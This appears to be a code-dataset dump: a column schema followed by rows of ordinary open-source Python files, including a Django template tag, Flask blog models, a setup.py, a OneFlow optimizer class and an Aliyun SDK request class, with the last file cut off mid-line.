hexsha
stringlengths
40
40
size
int64
4
996k
ext
stringclasses
8 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
4
996k
avg_line_length
float64
1.33
58.2k
max_line_length
int64
2
323k
alphanum_fraction
float64
0
0.97
content_no_comment
stringlengths
0
946k
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
f7f38976fa6e0ab2996dfc2b18e03c21f6b0e7cb
444
py
Python
marco/portal/base/templatetags/portal.py
Ecotrust/marco-portal2
13bb1b444c7605e1de3c88313d36abc1f463d1f5
[ "0BSD" ]
4
2016-09-24T00:57:45.000Z
2019-07-28T23:35:15.000Z
marco/portal/base/templatetags/portal.py
MidAtlanticPortal/marco-portal2
b47e7bfa171e98a6cf499b2d411fc743caae91c2
[ "0BSD" ]
146
2016-09-27T23:16:52.000Z
2022-03-09T16:55:32.000Z
marco/portal/base/templatetags/portal.py
Ecotrust/marco-portal2
13bb1b444c7605e1de3c88313d36abc1f463d1f5
[ "0BSD" ]
1
2019-07-03T23:42:05.000Z
2019-07-03T23:42:05.000Z
from django import template from django.core.urlresolvers import reverse, NoReverseMatch import re register = template.Library() @register.simple_tag(takes_context=True) def active(context, pattern_or_urlname): try: pattern = '^' + reverse(pattern_or_urlname) except NoReverseMatch: pattern = pattern_or_urlname path = context['request'].path if re.search(pattern, path): return 'active' return ''
26.117647
60
0.716216
from django import template from django.core.urlresolvers import reverse, NoReverseMatch import re register = template.Library() @register.simple_tag(takes_context=True) def active(context, pattern_or_urlname): try: pattern = '^' + reverse(pattern_or_urlname) except NoReverseMatch: pattern = pattern_or_urlname path = context['request'].path if re.search(pattern, path): return 'active' return ''
true
true
f7f38a4fd8ffa5362e5944544ff5424f460b53aa
109
py
Python
exercicios-turtle/.history/clown_20210623230000.py
Aleff13/poo-ufsc
bc1574df26f840a3c0fd5b1e0c72e5d69f61493d
[ "MIT" ]
1
2021-11-28T18:49:21.000Z
2021-11-28T18:49:21.000Z
exercicios-turtle/.history/clown_20210623230000.py
Aleff13/poo-ufsc
bc1574df26f840a3c0fd5b1e0c72e5d69f61493d
[ "MIT" ]
null
null
null
exercicios-turtle/.history/clown_20210623230000.py
Aleff13/poo-ufsc
bc1574df26f840a3c0fd5b1e0c72e5d69f61493d
[ "MIT" ]
null
null
null
import turtle tortuguita= turtle.Turtle() tortuguita.dot(30,"black") tortuguita.forward(10) turtle.done()
12.111111
27
0.761468
import turtle tortuguita= turtle.Turtle() tortuguita.dot(30,"black") tortuguita.forward(10) turtle.done()
true
true
f7f38c2e7264bbdab536a0ef12f9d56b6f82c6d4
309
py
Python
pauls_qiskit_addons/__init__.py
nonhermitian/qiskit_addons
6b74be53536ece55e3ace08dcdf458dee0dcd48e
[ "Apache-2.0" ]
null
null
null
pauls_qiskit_addons/__init__.py
nonhermitian/qiskit_addons
6b74be53536ece55e3ace08dcdf458dee0dcd48e
[ "Apache-2.0" ]
null
null
null
pauls_qiskit_addons/__init__.py
nonhermitian/qiskit_addons
6b74be53536ece55e3ace08dcdf458dee0dcd48e
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # # This source code is licensed under the Apache License, Version 2.0 found in # the LICENSE.txt file in the root directory of this source tree. from pauls_qiskit_addons.version import version as __version__ from pauls_qiskit_addons.backends.abstract_backend import AbstractBackend
34.333333
77
0.796117
from pauls_qiskit_addons.version import version as __version__ from pauls_qiskit_addons.backends.abstract_backend import AbstractBackend
true
true
f7f38fc44083be78fd30ae4910aeb458446ca923
3,113
py
Python
app/models.py
johnstat101/my-blogsite
c89eb7edfa55b24c1ffa9fe8789171b9b50d71bf
[ "Unlicense" ]
null
null
null
app/models.py
johnstat101/my-blogsite
c89eb7edfa55b24c1ffa9fe8789171b9b50d71bf
[ "Unlicense" ]
null
null
null
app/models.py
johnstat101/my-blogsite
c89eb7edfa55b24c1ffa9fe8789171b9b50d71bf
[ "Unlicense" ]
null
null
null
from . import db,login_manager from flask_login import UserMixin from werkzeug.security import generate_password_hash,check_password_hash from datetime import datetime @login_manager.user_loader def load_user(user_id): return User.query.get(user_id) class User (UserMixin,db.Model): __tablename__ = 'users' id = db.Column(db.Integer,primary_key = True) username = db.Column(db.String(255),unique = True,nullable = False) email = db.Column(db.String(255), unique = True,nullable = False) bio = db.Column(db.String(255),default ='My default Bio') profile_pic_path = db.Column(db.String(150),default ='default.png') hashed_password = db.Column(db.String(255),nullable = False) blog = db.relationship('Blog', backref='user', lazy='dynamic') comment = db.relationship('Comment', backref='user', lazy='dynamic') @property def set_password(self): raise AttributeError('You cannot read the password attribute') @set_password.setter def password(self, password): self.hashed_password = generate_password_hash(password) def verify_password(self,password): return check_password_hash(self.hashed_password,password) def save(self): db.session.add(self) db.session.commit() def delete(self): db.session.delete(self) db.session.commit() def __repr__(self): return "User: %s" %str(self.username) class Blog(db.Model): __tablename__ = 'blogs' id = db.Column(db.Integer,primary_key=True) title = db.Column(db.String(255),nullable=False) content = db.Column(db.Text(),nullable=False) posted = db.Column(db.DateTime,default=datetime.utcnow) user_id = db.Column(db.Integer,db.ForeignKey("users.id")) comment = db.relationship('Comment', backref='blog', lazy='dynamic') def save(self): db.session.add(self) db.session.commit() def delete(self): db.session.delete(self) db.session.commit() def get_blog(id): blog = Blog.query.filter_by(id=id).first() return blog def __repr__(self): return f'Blog {self.title}' class Comment(db.Model): __tablename__='comments' id = db.Column(db.Integer,primary_key = True) comment = db.Column(db.String) posted = db.Column(db.DateTime,default=datetime.utcnow) blog_id = db.Column(db.Integer,db.ForeignKey("blogs.id")) user_id = db.Column(db.Integer,db.ForeignKey("users.id")) def save(self): db.session.add(self) db.session.commit() def delete(self): db.session.remove(self) db.session.commit() def get_comment(id): comment = Comment.query.all(id=id) return comment def __repr__(self): return f'Comment {self.comment}' class Subscriber(db.Model): __tablename__='subscribers' id=db.Column(db.Integer,primary_key=True) email = db.Column(db.String(255),unique=True,index=True) def save_subscriber(self): db.session.add(self) db.session.commit() def __repr__(self): return f'Subscriber {self.email}'
29.647619
72
0.671057
from . import db,login_manager from flask_login import UserMixin from werkzeug.security import generate_password_hash,check_password_hash from datetime import datetime @login_manager.user_loader def load_user(user_id): return User.query.get(user_id) class User (UserMixin,db.Model): __tablename__ = 'users' id = db.Column(db.Integer,primary_key = True) username = db.Column(db.String(255),unique = True,nullable = False) email = db.Column(db.String(255), unique = True,nullable = False) bio = db.Column(db.String(255),default ='My default Bio') profile_pic_path = db.Column(db.String(150),default ='default.png') hashed_password = db.Column(db.String(255),nullable = False) blog = db.relationship('Blog', backref='user', lazy='dynamic') comment = db.relationship('Comment', backref='user', lazy='dynamic') @property def set_password(self): raise AttributeError('You cannot read the password attribute') @set_password.setter def password(self, password): self.hashed_password = generate_password_hash(password) def verify_password(self,password): return check_password_hash(self.hashed_password,password) def save(self): db.session.add(self) db.session.commit() def delete(self): db.session.delete(self) db.session.commit() def __repr__(self): return "User: %s" %str(self.username) class Blog(db.Model): __tablename__ = 'blogs' id = db.Column(db.Integer,primary_key=True) title = db.Column(db.String(255),nullable=False) content = db.Column(db.Text(),nullable=False) posted = db.Column(db.DateTime,default=datetime.utcnow) user_id = db.Column(db.Integer,db.ForeignKey("users.id")) comment = db.relationship('Comment', backref='blog', lazy='dynamic') def save(self): db.session.add(self) db.session.commit() def delete(self): db.session.delete(self) db.session.commit() def get_blog(id): blog = Blog.query.filter_by(id=id).first() return blog def __repr__(self): return f'Blog {self.title}' class Comment(db.Model): __tablename__='comments' id = db.Column(db.Integer,primary_key = True) comment = db.Column(db.String) posted = db.Column(db.DateTime,default=datetime.utcnow) blog_id = db.Column(db.Integer,db.ForeignKey("blogs.id")) user_id = db.Column(db.Integer,db.ForeignKey("users.id")) def save(self): db.session.add(self) db.session.commit() def delete(self): db.session.remove(self) db.session.commit() def get_comment(id): comment = Comment.query.all(id=id) return comment def __repr__(self): return f'Comment {self.comment}' class Subscriber(db.Model): __tablename__='subscribers' id=db.Column(db.Integer,primary_key=True) email = db.Column(db.String(255),unique=True,index=True) def save_subscriber(self): db.session.add(self) db.session.commit() def __repr__(self): return f'Subscriber {self.email}'
true
true
f7f390d53806bd633192bf1abee143e6e2bd05d4
431
py
Python
env/lib/python3.8/site-packages/plotly/validators/heatmapgl/_xsrc.py
acrucetta/Chicago_COVI_WebApp
a37c9f492a20dcd625f8647067394617988de913
[ "MIT", "Unlicense" ]
76
2020-07-06T14:44:05.000Z
2022-02-14T15:30:21.000Z
env/lib/python3.8/site-packages/plotly/validators/heatmapgl/_xsrc.py
acrucetta/Chicago_COVI_WebApp
a37c9f492a20dcd625f8647067394617988de913
[ "MIT", "Unlicense" ]
11
2020-08-09T02:30:14.000Z
2022-03-12T00:50:14.000Z
env/lib/python3.8/site-packages/plotly/validators/heatmapgl/_xsrc.py
acrucetta/Chicago_COVI_WebApp
a37c9f492a20dcd625f8647067394617988de913
[ "MIT", "Unlicense" ]
11
2020-07-12T16:18:07.000Z
2022-02-05T16:48:35.000Z
import _plotly_utils.basevalidators class XsrcValidator(_plotly_utils.basevalidators.SrcValidator): def __init__(self, plotly_name="xsrc", parent_name="heatmapgl", **kwargs): super(XsrcValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "none"), role=kwargs.pop("role", "info"), **kwargs )
33.153846
78
0.645012
import _plotly_utils.basevalidators class XsrcValidator(_plotly_utils.basevalidators.SrcValidator): def __init__(self, plotly_name="xsrc", parent_name="heatmapgl", **kwargs): super(XsrcValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "none"), role=kwargs.pop("role", "info"), **kwargs )
true
true
f7f3933c57f039797f1072b9220c43c5941dbd69
5,305
py
Python
setup.py
SmithSamuelM/didery
8181cd2dd2aa711d0b559acdc8ba1c7e2e8ba2fb
[ "Apache-2.0" ]
null
null
null
setup.py
SmithSamuelM/didery
8181cd2dd2aa711d0b559acdc8ba1c7e2e8ba2fb
[ "Apache-2.0" ]
null
null
null
setup.py
SmithSamuelM/didery
8181cd2dd2aa711d0b559acdc8ba1c7e2e8ba2fb
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- encoding: utf-8 -*- """ Basic setup file to enable pip install See: https://pythonhosted.org/setuptools/ https://bitbucket.org/pypa/setuptools $ python setup.py register sdist upload More secure to use twine to upload $ pip3 install twine $ python3 setup.py sdist $ twine upload dist/toba-0.1.0.tar.gz """ from __future__ import generator_stop import sys import io import os import re v = sys.version_info if v < (3, 5): msg = "FAIL: Requires Python 3.6 or later, but setup.py was run using {}.{}.{}" print(msg.format(v.major, v.minor, v.micro)) print("NOTE: Installation failed. Run setup.py using python3") sys.exit(1) from glob import glob from os.path import basename from os.path import dirname from os.path import join from os.path import relpath from os.path import splitext from setuptools import Extension from setuptools import find_packages from setuptools import setup from setuptools.command.build_ext import build_ext try: # Allow installing package without any Cython available. This # assumes you are going to include the .c files in your sdist. import Cython except ImportError: Cython = None def read(*names, **kwargs): return io.open( join(dirname(__file__), *names), encoding=kwargs.get('encoding', 'utf8') ).read() # Enable code coverage for C code: we can't use CFLAGS=-coverage in tox.ini, since that may mess with compiling # dependencies (e.g. numpy). Therefore we set SETUPPY_CFLAGS=-coverage in tox.ini and copy it to CFLAGS here (after # deps have been safely installed). if 'TOXENV' in os.environ and 'SETUPPY_CFLAGS' in os.environ: os.environ['CFLAGS'] = os.environ['SETUPPY_CFLAGS'] class optional_build_ext(build_ext): """Allow the building of C extensions to fail.""" def run(self): try: build_ext.run(self) except Exception as e: self._unavailable(e) self.extensions = [] # avoid copying missing files (it would fail). def _unavailable(self, e): print('*' * 80) print('''WARNING: An optional code optimization (C extension) could not be compiled. Optimizations for this package will not be available! ''') print('CAUSE:') print('') print(' ' + repr(e)) print('*' * 80) setup( name='didery', version="0.1.2", license='Apache2', description='DIDery Key Management Server', long_description="Redundant persistent backup of key rotation events and otp encrypted private keys.", author='Nicholas Telfer, Brady Hammond, Michael Mendoza', author_email='nick.telfer@consensys.net', url='https://github.com/reputage/didery', packages=find_packages('src'), package_dir={'': 'src'}, py_modules=[splitext(basename(path))[0] for path in glob('src/*.py')], package_data={ 'didery': ['static/main.html', 'static/css/*.css', 'static/fonts/Raleway/*.ttf', 'static/node_modules/mithril/mithril.min.js', 'static/node_modules/jquery/dist/jquery.min.js', 'static/node_modules/semantic-ui/dist/semantic.min.css', 'static/node_modules/semantic-ui/dist/semantic.min.js', 'static/node_modules/semantic-ui/dist/themes/default/assets/fonts/*.woff2', 'static/node_modules/semantic-ui/dist/themes/default/assets/fonts/*.woff', 'static/node_modules/semantic-ui/dist/themes/default/assets/fonts/*.ttf', 'static/transcrypt/__javascript__/main.js', 'flo/*.flo' ] }, include_package_data=True, zip_safe=False, classifiers=[ # complete classifier list: http://pypi.python.org/pypi?%3Aaction=list_classifiers 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: Unix', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: Implementation :: CPython', 'Topic :: Utilities', ], keywords=[ # eg: 'keyword1', 'keyword2', 'keyword3', ], install_requires=[ 'click', 'falcon>=1.2', 'ioflo>=1.6.8', 'libnacl>=1.5.1', 'simplejson>=3.11.1', 'pytest-falcon>=0.4.2', 'arrow>=0.10.0', 'transcrypt<=3.6.101', 'lmdb', ], extras_require={ # eg: # 'rst': ['docutils>=0.11'], # ':python_version=="2.6"': ['argparse'], }, setup_requires=[ 'cython', ] if Cython else [], entry_points={ 'console_scripts': [ 'didery = didery.cli:main', 'dideryd = didery.app:main', ] }, cmdclass={'build_ext': optional_build_ext}, ext_modules=[ Extension( splitext(relpath(path, 'src').replace(os.sep, '.'))[0], sources=[path], include_dirs=[dirname(path)] ) for root, _, _ in os.walk('src') for path in glob(join(root, '*.pyx' if Cython else '*.c')) ], )
31.577381
115
0.615457
from __future__ import generator_stop import sys import io import os import re v = sys.version_info if v < (3, 5): msg = "FAIL: Requires Python 3.6 or later, but setup.py was run using {}.{}.{}" print(msg.format(v.major, v.minor, v.micro)) print("NOTE: Installation failed. Run setup.py using python3") sys.exit(1) from glob import glob from os.path import basename from os.path import dirname from os.path import join from os.path import relpath from os.path import splitext from setuptools import Extension from setuptools import find_packages from setuptools import setup from setuptools.command.build_ext import build_ext try: import Cython except ImportError: Cython = None def read(*names, **kwargs): return io.open( join(dirname(__file__), *names), encoding=kwargs.get('encoding', 'utf8') ).read() # dependencies (e.g. numpy). Therefore we set SETUPPY_CFLAGS=-coverage in tox.ini and copy it to CFLAGS here (after # deps have been safely installed). if 'TOXENV' in os.environ and 'SETUPPY_CFLAGS' in os.environ: os.environ['CFLAGS'] = os.environ['SETUPPY_CFLAGS'] class optional_build_ext(build_ext): def run(self): try: build_ext.run(self) except Exception as e: self._unavailable(e) self.extensions = [] # avoid copying missing files (it would fail). def _unavailable(self, e): print('*' * 80) print('''WARNING: An optional code optimization (C extension) could not be compiled. Optimizations for this package will not be available! ''') print('CAUSE:') print('') print(' ' + repr(e)) print('*' * 80) setup( name='didery', version="0.1.2", license='Apache2', description='DIDery Key Management Server', long_description="Redundant persistent backup of key rotation events and otp encrypted private keys.", author='Nicholas Telfer, Brady Hammond, Michael Mendoza', author_email='nick.telfer@consensys.net', url='https://github.com/reputage/didery', packages=find_packages('src'), package_dir={'': 'src'}, py_modules=[splitext(basename(path))[0] for path in glob('src/*.py')], package_data={ 'didery': ['static/main.html', 'static/css/*.css', 'static/fonts/Raleway/*.ttf', 'static/node_modules/mithril/mithril.min.js', 'static/node_modules/jquery/dist/jquery.min.js', 'static/node_modules/semantic-ui/dist/semantic.min.css', 'static/node_modules/semantic-ui/dist/semantic.min.js', 'static/node_modules/semantic-ui/dist/themes/default/assets/fonts/*.woff2', 'static/node_modules/semantic-ui/dist/themes/default/assets/fonts/*.woff', 'static/node_modules/semantic-ui/dist/themes/default/assets/fonts/*.ttf', 'static/transcrypt/__javascript__/main.js', 'flo/*.flo' ] }, include_package_data=True, zip_safe=False, classifiers=[ # complete classifier list: http://pypi.python.org/pypi?%3Aaction=list_classifiers 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Operating System :: Unix', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: Implementation :: CPython', 'Topic :: Utilities', ], keywords=[ # eg: 'keyword1', 'keyword2', 'keyword3', ], install_requires=[ 'click', 'falcon>=1.2', 'ioflo>=1.6.8', 'libnacl>=1.5.1', 'simplejson>=3.11.1', 'pytest-falcon>=0.4.2', 'arrow>=0.10.0', 'transcrypt<=3.6.101', 'lmdb', ], extras_require={ # eg: # 'rst': ['docutils>=0.11'], # ':python_version=="2.6"': ['argparse'], }, setup_requires=[ 'cython', ] if Cython else [], entry_points={ 'console_scripts': [ 'didery = didery.cli:main', 'dideryd = didery.app:main', ] }, cmdclass={'build_ext': optional_build_ext}, ext_modules=[ Extension( splitext(relpath(path, 'src').replace(os.sep, '.'))[0], sources=[path], include_dirs=[dirname(path)] ) for root, _, _ in os.walk('src') for path in glob(join(root, '*.pyx' if Cython else '*.c')) ], )
true
true
f7f39384b4ede44bd932baf4b88b0d0365830b5f
6,962
py
Python
python/oneflow/nn/optimizer/optimizer.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
python/oneflow/nn/optimizer/optimizer.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
python/oneflow/nn/optimizer/optimizer.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import collections import warnings from copy import deepcopy from typing import Any, Callable, Dict, Union from oneflow.framework.tensor import Tensor from oneflow.nn.parameter import Parameter from oneflow.nn.utils.clip_grad import clip_grad_norm_ class ParamGroup(object): def __init__( self, parameters: Dict[str, Any], default_options: Dict, ): # ParamGroup must be constructed by Dict["params": parameters: List[Parameter or Tensor], "...": ...] assert isinstance(parameters, dict) and "params" in parameters assert not isinstance(parameters["params"], (Parameter, Tensor)) self._parameters = list(parameters["params"]) self._options = deepcopy(default_options) for key in self._options: if key in parameters: self._options[key] = parameters[key] self._enable_clip_grad = False if "clip_grad_max_norm" in parameters and "clip_grad_norm_type" in parameters: self._enable_clip_grad = True self._options["clip_grad_max_norm"] = parameters["clip_grad_max_norm"] self._options["clip_grad_norm_type"] = parameters["clip_grad_norm_type"] def __getitem__(self, key): return self._options[key] def __setitem__(self, key, value): self._options[key] = value def __contains__(self, key): return self._options.__contains__(key) @property def options(self): return self._options @property def parameters(self): return self._parameters class Optimizer(object): def __init__(self, parameters, options): self.param_groups = list() self._default_options = options self._state = dict() self._state["step"] = 0 self._parse_input_parameters(parameters) def add_param_group(self, param_group) -> None: raise NotImplementedError() def load_state_dict(self, state_dict) -> None: raise NotImplementedError() def state_dict(self): raise NotImplementedError() def step(self, closure: Union[Callable, None] = None) -> Union[Tensor, None]: raise NotImplementedError() def clip_grad(self): r"""Clips the gradient of parameters in param_groups. """ for param_group in self.param_groups: if param_group._enable_clip_grad: clip_grad_norm_( param_group.parameters, param_group["clip_grad_max_norm"], param_group["clip_grad_norm_type"], True, ) else: warnings.warn( "To enable clip_grad, passing the `clip_grad_max_norm` and `clip_grad_norm_type` parameters when instantializing the Optimizer." ) def zero_grad(self, set_to_none: bool = False): """Sets the gradients of all optimized torch.Tensor s to zero. Args: set_to_none (bool): instead of setting to zero, set the grads to None. This will in general have lower memory footprint, and can modestly improve performance. However, it changes certain behaviors. For example: 1. When the user tries to access a gradient and perform manual ops on it, a None attribute or a Tensor full of 0s will behave differently. 2. If the user requests zero_grad(set_to_none=True) followed by a backward pass, grads are guaranteed to be None for params that did not receive a gradient. 3. Optimizers have a different behavior if the gradient is 0 or None (in one case it does the step with a gradient of 0 and in the other it skips the step altogether). Returns: None """ all_grad_is_none = True for param_group in self.param_groups: for param in param_group.parameters: if param.grad is not None: all_grad_is_none = False if set_to_none: param.grad = None else: param.grad.zeros_() if all_grad_is_none: warnings.warn( "\nParameters in optimizer do not have gradient.\nPlease check `loss.backward()` is called" "or not,\nor try to declare optimizer after calling `module.to()`" ) def _parse_input_parameters(self, parameters): """ Supports such parameters: 1. Iterator: flow.optim.SGD(module.parameters(), lr=0.1) 2. List[Dict]: flow.optim.SGD([{"params": module1.parameters()}, {"params": module2.parameters()}]) 3. List[Parameter or Tensor]: flow.optim.SGD([module.weight, module.bias]) """ if isinstance(parameters, collections.abc.Iterator): # Iterator self.param_groups.append( ParamGroup({"params": list(parameters)}, self._default_options) ) elif isinstance(parameters, collections.abc.Iterable): # List[Dict] if isinstance(parameters[0], dict): for param in parameters: assert isinstance(param, dict) self.param_groups.append(ParamGroup(param, self._default_options)) # List[Parameter or Tensor] else: self.param_groups.append( ParamGroup({"params": parameters}, self._default_options) ) else: raise TypeError( f"params argument given to the optimizer should be an iterable of Tensors or dicts, but got {type(parameters)}" ) def _generate_grad_clip_conf_for_optim_conf(self, param_group, optimizer_conf): if param_group._enable_clip_grad: if ( param_group["clip_grad_max_norm"] == 1.0 and param_group["clip_grad_norm_type"] == 2.0 ): optimizer_conf.mutable_clip_conf().mutable_clip_by_global_norm().set_clip_norm( param_group["clip_grad_max_norm"] ) else: warnings.warn( "For now, nn.Graph only support clip grad with `clip_grad_max_norm == 1.0` and `clip_grad_norm_type == 2.0`." )
39.11236
148
0.620224
import collections import warnings from copy import deepcopy from typing import Any, Callable, Dict, Union from oneflow.framework.tensor import Tensor from oneflow.nn.parameter import Parameter from oneflow.nn.utils.clip_grad import clip_grad_norm_ class ParamGroup(object): def __init__( self, parameters: Dict[str, Any], default_options: Dict, ): assert isinstance(parameters, dict) and "params" in parameters assert not isinstance(parameters["params"], (Parameter, Tensor)) self._parameters = list(parameters["params"]) self._options = deepcopy(default_options) for key in self._options: if key in parameters: self._options[key] = parameters[key] self._enable_clip_grad = False if "clip_grad_max_norm" in parameters and "clip_grad_norm_type" in parameters: self._enable_clip_grad = True self._options["clip_grad_max_norm"] = parameters["clip_grad_max_norm"] self._options["clip_grad_norm_type"] = parameters["clip_grad_norm_type"] def __getitem__(self, key): return self._options[key] def __setitem__(self, key, value): self._options[key] = value def __contains__(self, key): return self._options.__contains__(key) @property def options(self): return self._options @property def parameters(self): return self._parameters class Optimizer(object): def __init__(self, parameters, options): self.param_groups = list() self._default_options = options self._state = dict() self._state["step"] = 0 self._parse_input_parameters(parameters) def add_param_group(self, param_group) -> None: raise NotImplementedError() def load_state_dict(self, state_dict) -> None: raise NotImplementedError() def state_dict(self): raise NotImplementedError() def step(self, closure: Union[Callable, None] = None) -> Union[Tensor, None]: raise NotImplementedError() def clip_grad(self): for param_group in self.param_groups: if param_group._enable_clip_grad: clip_grad_norm_( param_group.parameters, param_group["clip_grad_max_norm"], param_group["clip_grad_norm_type"], True, ) else: warnings.warn( "To enable clip_grad, passing the `clip_grad_max_norm` and `clip_grad_norm_type` parameters when instantializing the Optimizer." ) def zero_grad(self, set_to_none: bool = False): all_grad_is_none = True for param_group in self.param_groups: for param in param_group.parameters: if param.grad is not None: all_grad_is_none = False if set_to_none: param.grad = None else: param.grad.zeros_() if all_grad_is_none: warnings.warn( "\nParameters in optimizer do not have gradient.\nPlease check `loss.backward()` is called" "or not,\nor try to declare optimizer after calling `module.to()`" ) def _parse_input_parameters(self, parameters): if isinstance(parameters, collections.abc.Iterator): self.param_groups.append( ParamGroup({"params": list(parameters)}, self._default_options) ) elif isinstance(parameters, collections.abc.Iterable): if isinstance(parameters[0], dict): for param in parameters: assert isinstance(param, dict) self.param_groups.append(ParamGroup(param, self._default_options)) else: self.param_groups.append( ParamGroup({"params": parameters}, self._default_options) ) else: raise TypeError( f"params argument given to the optimizer should be an iterable of Tensors or dicts, but got {type(parameters)}" ) def _generate_grad_clip_conf_for_optim_conf(self, param_group, optimizer_conf): if param_group._enable_clip_grad: if ( param_group["clip_grad_max_norm"] == 1.0 and param_group["clip_grad_norm_type"] == 2.0 ): optimizer_conf.mutable_clip_conf().mutable_clip_by_global_norm().set_clip_norm( param_group["clip_grad_max_norm"] ) else: warnings.warn( "For now, nn.Graph only support clip grad with `clip_grad_max_norm == 1.0` and `clip_grad_norm_type == 2.0`." )
true
true
f7f393a21321e050f7a1afb6a5ce10e5c4c076be
4,816
py
Python
aliyun-python-sdk-cbn/aliyunsdkcbn/request/v20170912/AddTraficMatchRuleToTrafficMarkingPolicyRequest.py
yndu13/aliyun-openapi-python-sdk
12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5
[ "Apache-2.0" ]
null
null
null
aliyun-python-sdk-cbn/aliyunsdkcbn/request/v20170912/AddTraficMatchRuleToTrafficMarkingPolicyRequest.py
yndu13/aliyun-openapi-python-sdk
12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5
[ "Apache-2.0" ]
null
null
null
aliyun-python-sdk-cbn/aliyunsdkcbn/request/v20170912/AddTraficMatchRuleToTrafficMarkingPolicyRequest.py
yndu13/aliyun-openapi-python-sdk
12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # # http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from aliyunsdkcore.request import RpcRequest from aliyunsdkcbn.endpoint import endpoint_data class AddTraficMatchRuleToTrafficMarkingPolicyRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'Cbn', '2017-09-12', 'AddTraficMatchRuleToTrafficMarkingPolicy') self.set_method('POST') if hasattr(self, "endpoint_map"): setattr(self, "endpoint_map", endpoint_data.getEndpointMap()) if hasattr(self, "endpoint_regional"): setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional()) def get_ResourceOwnerId(self): # Long return self.get_query_params().get('ResourceOwnerId') def set_ResourceOwnerId(self, ResourceOwnerId): # Long self.add_query_param('ResourceOwnerId', ResourceOwnerId) def get_ClientToken(self): # String return self.get_query_params().get('ClientToken') def set_ClientToken(self, ClientToken): # String self.add_query_param('ClientToken', ClientToken) def get_TrafficMarkingPolicyId(self): # String return self.get_query_params().get('TrafficMarkingPolicyId') def set_TrafficMarkingPolicyId(self, TrafficMarkingPolicyId): # String self.add_query_param('TrafficMarkingPolicyId', TrafficMarkingPolicyId) def get_DryRun(self): # Boolean return self.get_query_params().get('DryRun') def set_DryRun(self, DryRun): # Boolean self.add_query_param('DryRun', DryRun) def get_TrafficMatchRuless(self): # RepeatList return self.get_query_params().get('TrafficMatchRules') def set_TrafficMatchRuless(self, TrafficMatchRules): # RepeatList for depth1 in range(len(TrafficMatchRules)): if TrafficMatchRules[depth1].get('DstPortRange') is not None: for depth2 in range(len(TrafficMatchRules[depth1].get('DstPortRange'))): self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.DstPortRange' + str(depth2 + 1), TrafficMatchRules[depth1].get('DstPortRange')[depth2]) if TrafficMatchRules[depth1].get('MatchDscp') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.MatchDscp', TrafficMatchRules[depth1].get('MatchDscp')) if TrafficMatchRules[depth1].get('Protocol') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.Protocol', TrafficMatchRules[depth1].get('Protocol')) if TrafficMatchRules[depth1].get('TrafficMatchRuleDescription') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.TrafficMatchRuleDescription', TrafficMatchRules[depth1].get('TrafficMatchRuleDescription')) if TrafficMatchRules[depth1].get('SrcPortRange') is not None: for depth2 in range(len(TrafficMatchRules[depth1].get('SrcPortRange'))): self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.SrcPortRange' + str(depth2 + 1), 